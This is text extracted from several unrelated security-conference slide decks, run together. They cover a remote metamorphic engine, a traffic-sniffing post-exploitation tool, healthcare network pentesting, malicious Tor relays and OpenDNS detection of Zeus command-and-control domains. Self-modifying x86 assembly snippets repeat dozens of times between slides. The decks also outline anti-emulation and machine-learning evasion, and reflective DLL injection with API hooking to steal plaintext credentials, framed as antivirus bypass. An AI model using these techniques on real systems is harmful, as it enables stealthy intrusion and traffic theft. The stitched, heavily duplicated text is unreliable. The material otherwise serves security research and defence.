add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Response Mutation
[+] mutated code size: 15110 bytes
[+] encrypted response: 0x09575e31 | 156720689
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.685972 ms
[+] mutated code size: 17771 bytes
[+] encrypted response: 0x5820b6b5 | 1478538933
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.040096 ms
[+] mutated code size: 23814 bytes
[+] encrypted response: 0x5d844e9a | 1568951962
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.897926 ms
[+] mutated code size: 19768 bytes
[+] encrypted response: 0x818af8d8 | -2121598760
[+] decrypted response: 0x00000001 | 1
[+] remote execution response time: 6.177187 ms
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Demo 3
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Decoupled Reversible Mutation
Response Mutation
Morphing Engine
Remote Mutation
Tru"ed Zone
Challenge
Mutated
Function
Morphed Function
Morphed Function
Head
Tail
Unused Code
Return value
Reversible
Mutation
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Decoupled Reversible Mutation
Reversible Instructions
add(value1)
sub(value2)
not()
xor(value3)
rol(value4)
ror(value5)
rol(value5)
ror(value4)
xor(value3)
not()
add(value2)
sub(value1)
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Reversible Instructions | Response Mutation
add eax, 0xe0d9780c
not eax
sub eax, 0xbcf3e676
not eax
xor eax, 0xfb7e9fdd
sub eax, 0x695e3adf
add eax, 0x3e731a34
xor eax, 0xa0b50d13
xor eax, 0x39034b8d
ror eax, 0xf
sub eax, 0xfb824ebb
xor eax, 0xd1e6a7ec
xor eax, 0xbb5202f7
ror eax, 4
xor eax, 0x9ce66186
sub eax, 0x4ec067b8
not eax
sub eax, 0xc98775b4
xor eax, 0xbdc52b4f
ror eax, 2
sub eax, 0xd925192c
ror eax, 3
add eax, 0x48fa27f1
sub eax, 0xd353c205
sub eax, 0xa888b8b2
xor eax, 0xe017f6fa
ror eax, 0xd
sub eax, 0x247dab96
add eax, 0xf6696155
sub eax, 0xbeaeaad5
add eax, 0xd6c7b4ee
add eax, 0x120d5924
add eax, 0x9a0be9b9
sub eax, 0xbfe386c3
ror eax, 0x17
add eax, 0x14c58836
ror eax, 5
xor eax, 0x1984a5de
not eax
sub eax, 0x4d956430
sub eax, 0x9c9df86
add eax, 0xd88904bc
xor eax, 0xf5bcc022
xor eax, 0x205c4a75
add eax, 0xbcbb2b45
sub eax, 0xdb0a2bc0
ror eax, 0xd
add eax, 0x529eba0f
ror eax, 0x1c
add eax, 0x8150605
sub eax, 0xd8fe0628
add eax, 0xad81052c
ror eax, 5
add eax, 0x762e0f15
not eax
sub eax, 0x75707780
add eax, 0xe3265fc4
xor eax, 0x22952628
add eax, 0x231a8655
ror eax, 2
not eax
sub eax, 0x2c75569a
sub eax, 0x88ad3417
not eax
ror eax, 0x19
add eax, 0xe7634a71
not eax
xor eax, 0x500026f6
add eax, 0xad1a2fd2
sub eax, 0x937ead1b
not eax
add eax, 0x2f112a91
sub eax, 0x801608e8
xor eax, 0x9cb2998b
xor eax, 0xe626a2be
add eax, 0x3185e741
xor eax, 0x197e9520
xor eax, 0x5665148d
sub eax, 0xc739155d
add eax, 0x58f934ef
sub eax, 0xa623710f
xor eax, 0x8051cbca
ror eax, 0x1d
ror eax, 0xc
ror eax, 0x1c
xor eax, 0xa96f3357
ror eax, 0xa
xor eax, 0xf13d8c20
not eax
xor eax, 0xfb42f152
add eax, 0xb813492a
sub eax, 0x4f8728ef
add eax, 0xee0e75bc
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
Artificial Immunity | Detecting the non-self
1st
2nd
3rd
4th
5th
6th
7th
Mutations
156720689
147853893
15689519
-21215987
10778328
-689519
11979087
Responses
0
0
0
0
137106
0
0
Decrypted
Tampered
non-self
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
Artificial Immunity | Detecting the non-self
1st
2nd
3rd
4th
5th
6th
7th
Mutations
47 ms
65 ms
52 ms
106 ms
579 ms
39 ms
53 ms
Response Time
<500 ms
<500 ms
<500 ms
<500 ms
>500 ms
<500 ms
<500 ms
Emulated
non-self
Time Threshold
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
Artificial Immunity | Detecting the non-self
1st
2nd
3rd
4th
5th
6th
7th
Mutations
521 ms
608 ms
492 ms
567 ms
65 ms
622 ms
545 ms
Response Time
>200 ms
>200 ms
>200 ms
>200 ms
<200 ms
>200 ms
>200 ms
Time Threshold
Emulated
non-self
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
Evading AI Machine Learning
Mixing Morphed Blocks
Morphed Function 1
Head
Tail
Morphed Function 2
Head
Tail
Morphed Function 3
Head
Tail
Disabling the AI from differentiating
functions before, during and after execution
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
The Remote Metamorphic Engine
Anti-Emulation
In memory code integrity check
Execution environment integrity check
Clock synchronization
Detect debuggers
Detect Virtual Machines
Collect Machine IDs
In memory APIs code integrity check
Detect hooks
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
{ Conclusion
}
line46_1:
mov ecx, [esp]
nop
nop
mov dl, 0xe9
test edx, edx
mov byte [ecx], dl
xor eax, 0
mov edx, 0x00000067
mov dword [ecx+1], edx
ret
line95:
pushad
pushf
call line95_1
db 7
db 3
dd 838225172
db 2
dd 4211932376
db 4
dd 2520091426
db 3
dd 946381070
db 2
dd 3318121790
db 2
dd 1375432265
db 1
dd -1
mov ebx, 92
add eax, ebx
mov ebx, eax
sub dword [eax], 0xe82c334d
add eax, 4
add dword [eax], 0xa1723594
add eax, 4
xor dword [eax], 0xb1c21343
add eax, 4
sub dword [eax], 0x111111ee
add eax, 4
add dword [eax], 0xaaccee22
add eax, 4
jmp ebx
line95_2:
popf
popad
nop
jmp long line96
line95_1:
mov eax, [esp]
nop
nop
xor eax, eax
xor ecx, ecx
xor edx, edx
mov cl, 0xe9
mov byte [eax], cl
xor edx, 0
mov ecx, 0x00000057
mov dword [eax+1], ecx
ret
{ Questions?
} | pdf |
NetRipper
SMART TRAFFIC SNIFFING FOR PENETRATION TESTERS
Ionut Popescu – Senior Security Consultant @ KPMG Romania
Who am I?
• Ionut Popescu
• Senior Security Consultant @ KPMG Romania
• Blogger @ securitycafe.ro
• Administrator @ rstforums.com
Romania
1.
Introduction
2.
When it is useful
3.
How it works
4.
Reflective DLL Injection
5.
API Hooking
6.
Hooking Google Chrome
7.
Questions?
Agenda
Introduction
NetRipper is a post exploitation tool targeting Windows systems which
uses API hooking in order to intercept network traffic and encryption related
functions from a low privileged user, being able to capture both plain-text
traffic and encrypted traffic before encryption/after decryption.
When it is useful
Internal penetration test
Pentester
User
User
Sysadmin
How it works - Example
Outlook
Hi,
The new password is “Defcon23”.
Thanks!
Encryption layer
… encrypted data…
(╯°□°）╯︵ ┻━┻
… encrypted data…
NetRipper
User
Network
How it works - Example
Outlook
Hi,
The new password is “Defcon23”.
Thanks!
Encryption layer
… encrypted data…
(╯°□°）╯︵ ┻━┻
… encrypted data…
ncrypt.dll
(SslEncryptPacket)
User
ws2_32.dll
(send/WSASend)
How it works - Example
Outlook
Hi,
The new password is “Defcon23”.
Thanks!
Encryption layer
… encrypted data…
(╯°□°）╯︵ ┻━┻
… encrypted data…
ncrypt.dll
(SslEncryptPacket)
User
ws2_32.dll
(send/WSASend)
NetRipper.dll
(Hook)
Implementation details
Data extraction
Unencrypted data is saved locally
API Hooking
Specific functions are intercepted
Reflective DLL Injection
The DLL is injected into target processes
Classic DLL Injection
Disadvantages:
DLL must be written on disk
DLL is listed in the process modules
How it works:
1. Open the remote process
2. Write DLL full path location in process memory
3. Call LoadLibrary() to load the DLL
Reflective DLL Injection
Stephen Fewer [Harmony Security]
How it works:
1. DLL contents are copied from memory to target process memory
2. An exported function is called ( ReflectiveLoader() )
3. The function correctly loads the DLL into memory
Advantages:
DLL does not touch the disk (antivirus bypass)
DLL is not listed in the process modules (stealth)
Detailed Reflective DLL Injection [1]
Load the DLL contents into remote process:
Detailed Reflective DLL Injection [2.1]
Find the DLL image base (like LoadLibrary):
Detailed Reflective DLL Injection [2.2]
Find useful functions:
LoadLibraryA, GetProcAddress, VirtualAlloc, NtFlushInstructionCache
Detailed Reflective DLL Injection [2.3]
Load DLL headers and sections:
Detailed Reflective DLL Injection [2.4]
Process imports and load additional DLLs:
Detailed Reflective DLL Injection [2.5]
Process image relocations:
Detailed Reflective DLL Injection [2.6]
Call entrypoint (DllMain):
Outlook.exe
user32.dll
ncrypt.dll
…
SslEncryptPacket
SslDecryptPacket
…
ws2_32.dll
NetRipper.dll
…
SslEncryptPacket_Hook
SslDecryptPacket_Hook
…
API Hooking
1. Find function address
2. Place a “call” instruction
3. Call a generic hook function instead
4. Restore original bytes
5. Call a callback function
6. Call original function
7. Save network traffic data
8. Restore hook
API Hooking
Normal function code:
Hooked function code:
API Hooking
Place hook:
API Hooking details
Get hook information:API Hooking details
Place hook:
API Hooking details
Callback function: API Hooking details
Hooking Chrome NSS
/net/third_party/nss/ssl/sslsock.c
Hooking Chrome NSS
Hooking Chrome NSS
Initialization data
1. Find SSL string
2. Find push SSL
3. Find MOV [x], 4
4. Get pointers
Hooking Chrome BoringSSL
/ssl/ssl_lib.c
Filename is included in binary.
Hooking Chrome BoringSSL
Find 15th and 17th occurrence.
Hooking Chrome BoringSSL
Initialization
1. Search string
2. Search PUSH
3. Find 15th PUSH
4. Find 17th PUSH
5. Go back 17 bytes
More details will be added in the
updated version!
DEMO
Project information
https://github.com/NytroRST/NetRipper/
Conclusion
•
Post exploitation tool
•
Uses Reflective DLL Injection and API Hooking
•
Hooks application-specific functions
•
Captures all network traffic in plain-text
•
Easy to use
Questions?
Contact information
ionut.popescu [@] outlook.com
contact [@] securitycafe.ro
admin [@] rstforums.com
@NytroRST | pdf |
I’m Not A Doctor But I Play
One On Your Network
Tim Elrod and Stefan Morris
About Us
Tim Elrod –
Penetration Tester for Fishnet Security
Over 7 years pentesting healthcare systems
Stefan Morris –
Penetration Test for Fishnet Security
Over 4 years Pentesting healthcare systems
Technology Redux
Common Healthcare Technologies
Hl7
Dicom
A History of Standard Non-standard Standards
Why Would You Care?
HIPAA Doesn’t Help: There’s no PCI for Healthcare
Personally Identifiable Information (PII)
Protected Health Information (PHI)
Identity theft
Medical identity theft
Loss of Life and Limb
PACS
What are Picture Archiving and Communication Systems
(PACS)?
Digital Imaging and Communications in Medicine (DICOM)
DICOM the network protocol
DICOM the file format
Fuzzing DICOM
HL7 Interface Systems
Health Level 7 (HL7) Protocol and Standards
Clear Text Protocol
Delimited fields contain either codes or data
Sub fields can also contain codes or data
Centralized Data Storage and Structure of HL7 Systems
HL7 Routers
Fuzzing HL7
Electronic Health/Medical Record Systems
Medical Record Storage
Most medical records are stored in multiple systems across the
healthcare environment
Health records can exist in databases as well as unstructured data
files
Front End Interfaces and Issues
Common web application issues
Logic flaws regarding user permissions
Health Information Exchanges (HIE)
Building a National Healthcare System and Efficiency
Through Legislation
Regional and National HIE Structure
Vulnerabilities Introduced by the Interconnectivity of
Immature Systems
Personal Health Records (PHR)
Health Vault
Google
Others
Malicious Health Records (MHR)
Records input into PHRs such as Google health and
Microsoft health vault get parsed and acted upon by
backend health systems such as HL7 Routers
It is possible for an attacker to inject health records and
then cause vulnerabilities to be triggered in backend
systems
Medical Hardware Review
Prescription Dispensing Cabinets
Omnicell
Q&A
Hit us up in the q&a area or buy us a beer at the bar | pdf |
Safety of the Tor network
A look at network diversity, relay operators, and malicious relays
Runa A. Sandvik
• Developer for the Tor Project
• Worked with/for Tor since GSoC 2009
• Frequent traveler
What this talk is about
• Is the Tor network a CIA honeypot?
• Are all relays malicious?
• Looked at all consensus files created
between late 2007 and mid 2013
r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030
s Exit Fast Guard HSDir Named Running V2Dir Valid
v Tor 0.2.3.20-rc
w Bandwidth=5800
p accept 80,110,143,443,993,995
r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030
s Exit Fast Guard HSDir Named Running V2Dir Valid
v Tor 0.2.3.20-rc
w Bandwidth=5800
p accept 80,110,143,443,993,995
r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030
s Exit Fast Guard HSDir Named Running V2Dir Valid
v Tor 0.2.3.20-rc
w Bandwidth=5800
p accept 80,110,143,443,993,995
r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030
s Exit Fast Guard HSDir Named Running V2Dir Valid
v Tor 0.2.3.20-rc
w Bandwidth=5800
p accept 80,110,143,443,993,995
Number of relays in all countries
The Tor Project − https://metrics.torproject.org/
0
1000
2000
3000
2008
2009
2010
2011
2012
2013
High-level statistics
• 95,314 unique nicknames
• 1,595,879 unique IP address
• 230,595 unique fingerprints
• 195 different countries
Top countries
• The US
• Germany
• France
• Russia
• Netherlands
• United Kingdom
Top nicknames
• Popular nicknames: Unnamed, default,
ididnteditheconfig, idideditheconfig, MgeniUser,
anonymous
• anonymous (Germany, Sweden, US, Ukraine)
versus Anonymous (US, Germany, Ukraine,
Japan)
• A lot of Orbot relays in the Middle East
What is average?
• Uptime
• Lifetime
• Bandwidth
• Utilization
So it’s all good?
• China
• Russia
• Eastern European botnet
Network diversity
• Different relays owned by different people
in different data centers in different parts of
the world
Number of relays with relay flags assigned
The Tor Project − https://metrics.torproject.org/
0
1000
2000
3000
May−2013
Jun−2013
Jul−2013
Relay flags
Running
Exit
Guard
Fast
Stable
From https://www.eff.org/pages/tor-and-https
Malicious relays
• SSL MITM
• sslstrip
• Plaintext only exit policy
• Anti-virus filter blocking sites
• Dropping TLS connections for multiple sites
Snakes on a Tor (SoaT)
• Scans the Tor network for misbehaving and
misconfigured exit relays
• Several tests, including HTML, javascript,
arbitrary HTTP, SSL, DNS scans
• A number of relays banned since 2010, but
SoaT is currently not maintained
How to ban a relay
• BadExit flag set by directory authorities
• 36,356 unique IP addresses, tied to 264
unique nicknames, with the BadExit flag
Where do we go from here? | pdf |
!
"
#
$
%
&'
(
)
*
*
*
+
,
-
-
.
/
0
!
"
1
2
3
0
4
5
$
"
2
6
7
8
"
2
0
!
%
9
%
$
8
:
8
;
:
%
%
!
<
8
'
%
=
:
8
;
:
%
%
"
2
9
!
8
8
2
9
%
>
0
!
8
?
1
'
0
;
!
8
4
"
2
%
!
"
@
1
%
8
"
%
0
;
4
A
!
B
4
"
9
"
%
1
;
4
8
!
%
$
8
%
8
!
B
2
9
%
$
8
C
D
E
C
8
;
8
!
0
7
F
1
@
7
"
'
G
"
'
8
;
2
8
0
2
1
@
7
"
2
$
8
4
@
%
$
8
H
!
8
8
I
9
%
>
0
!
8
H
1
;
4
0
%
"
;
?
8
"
%
$
8
!
J
8
!
2
"
;
,
9
%
$
8
G
"
'
8
;
2
8
K
!
&0
%
1
!
%
"
;
(
0
;
7
0
%
8
!
J
8
!
2
"
;
=
L
M
N
O
P
Q
R
Q
S
P
T
U
V
W
X
Y
Z
[
\
V
]
^
_
_
`
a
_
b
a
_
c
_
^
O
^
\
O
_
b
S
W
d
U
S
e
Y
d
L
f
g
h
i
j
k
l
i
m
k
n
o
k
i
p
q
p
r
s
t
t
u
v
w
t
x
y
t
z
{
|
x
z
}
~
}
~
}
I
1
!
%
8
4
1
2
5
8
2
F
K
F
K
I
:
I
1
!
%
8
4
1
2
5
8
2
I
1
!
%
8
4
1
2
5
8
2
I
1
!
%
8
4
1
2
5
8
2
I
1
!
%
8
4
1
2
5
8
2
I
1
!
%
8
4
1
2
5
8
2
¡
I
1
!
%
8
4
1
2
5
8
2
F
K
F
K
I
:
K
¢
D
K
%
$
8
!
£
¤
¥
¦
§
I
1
!
%
8
4
1
2
5
8
2
I
:
¨
©
ª
«
¬
§
I
1
!
%
8
4
1
2
5
8
2
I
:
)
p
q
®
¯
°
°
t
s
±
{
²
³
´
s
¯
µ
¶
±
·
z
}
~
¸
~
}
¹
¦
}
~
¸
~
¸
º
»
¼
¦
¦
©
½
¹
¾
©
¨
¿
À
Á
j
o
k
i
q
p
r
s
t
t
u
v
w
t
x
Â
¯
¶
s
±
t
Â
¯
Ã
·
Ä
²
s
t
Å
q
®
¯
°
°
t
s
±
{
²
³
Â
¯
Ã
·
Ä
²
s
t
Æ
¨
Ç
Æ
ª
È
¨
¹
É
Ê
«
Ë
È
È
©
~
È
Ì
¨
Í
Ç
Î
£
¹
Ï
Ð
Ê
Ñ
Ò
Ó
i
i
Á
Ô
i
Ò
Ô
Õ
q
p
®
¯
°
°
t
s
±
{
²
³
´
s
¯
µ
¶
±
·
z
½
Æ
¨
Ì
¬
¨
¹
Ì
, | pdf |
CATCHING
MALWARE
EN
MASSE
:
DNS
&
IP
STYLE
Dhia
Mahjoub
@DhiaLite
[email protected]
Thibault
Reuille
@ThibaultReuille
[email protected]
Andree
Toonk
@atoonk
[email protected]
DHIA
MAHJOUB
2
• Senior
Security
Researcher
at
OpenDNS
• PhD
graph
theory
applied
on
sensor
networks
• Security,
graphs,
data
analysis
• @DhiaLite
THIBAULT
REUILLE
3
• Security
Researcher
at
OpenDNS
• Former
SoGware
Engineer
@
NVIDIA
• Security
and
VisualizaLon
?
• @ThibaultReuille
ANDREE
TOONK
4
• Manager
of
Network
Engineering
at
OpenDNS
• Founder
and
lead
of
BGPMon.net
• @atoonk
Agenda
OpenDNS
presentaLon
Catching
Malware
DNS
Style
Catching
Malware
IP
style
3D
Data
VisualizaLon
Conclusion
OpenDNS'
Network
Map
STUB
CLIENTS
RECURSIVE
NAME SERVERS
AUTHORITATIVE
NAME SERVERS
root
tld
domain.tld
DNS
Traffic
Catching
Malware
DNS
style
Crimeware
Ecosystem
DNS
style
Crimeware
Ecosystem
DNS
style
InvesNgaNon
Process
Zbot
fast
flux
proxy
network
Track
CnCs
w/
hadoop
Track
CnCs
w/
streaming
DNS
IdenLfy
malware
phoning
to
CnCs
Pony
panel
on
proxy
network
Stats
about
domains,
clients
and
samples
DNS
style
Fast
Flux
Networks
• DNS-‐based
redundancy/evasion
technique
• Fast
flux
domain
resolves
to
many
IPs,
many
ASNs,
many
CCs,
relaLvely
low
TTL
• Fast
flux
domain
resolves
to
1
IP
with
TTL=0
• Ex
:
Trojan
CnCs,
spam,
scam,
pharmacy,
daLng
domains
DNS
style
Fast
Flux
Proxy
Networks
(ex:
Zbot)
CnCs
Targets
Kelihos
TTL
=
0
Zbot
TTL
=
150
DNS
style
Zeus
Crimeware
(1/2)
DNS
style
ConfiguraLon
file
Web
injects
Zeus
builder
Binary
file
Zeus
Crimeware
(2/2)
DNS
style
Control
panel
Zeus
Timeline
DNS
style
Zeus
CnCs
Compromised
Sites
Bulletproof
HosLng
Fast
Flux
Botnet
DNS
style
Zeus
CnC
URLs
ConfiguraLon
Files
Binary
Files
Drop
Zones
DNS
style
Zeus
CnC
detecNon
Methods
1) Periodic
batch
pig
job
(Hadoop
script)
2) IP
harvesLng
+
streaming
authoritaNve
DNS
+
filtering
heurisLcs
DNS
style
DetecNon
with
Hadoop
• Periodic
Pig
job
extracts
domains
with
TTL
=
150
• Build
“domain
to
IP”
biparNte
graph
• Extract
largest
connected
component
• IdenLfy
new
zbot
CnCs
to
block
• Add
IPs
from
largest
connected
component
to
pool
of
zbot
IPs
DNS
style
AuthoritaNve
DNS
Stream
ASN,
Domain,
2LD,
IP,
NS_IP,
Timestamp,
TTL,
type
• 100s
–
1000s
entries/sec
(from
subset
of
resolvers)
• Need
to
implement
own
filters,
detecLon
heurisLcs
• Faster
than
DNSDB
on
Hadoop
DNS
style
DetecNon
with
DNS
stream
•
Seed
of
known
Zbot
CnCs
•
Harvest
IPs
and
add
them
to
pool
of
Zbot
IPs
•
Extract
domains
with
IP
or
NS_IP
in
Zbot
IP
pool
•
Add
new
Zbot
CnCs
to
seed
DNS
style
Data
VisualizaNon
DNS
style
Zbot
CnC
domains
–
IP
biparLte
graph
Workflow
DNS
style
SemanNcNet
Library
#!/usr/bin/env
python
import
semanLcnet
as
sn
graph
=
sn.Graph()
a
=
graph.add_node({
"label"
:
“A”
})
b
=
graph.add_node({
"label"
:
“B”
})
c
=
graph.add_node({
"label"
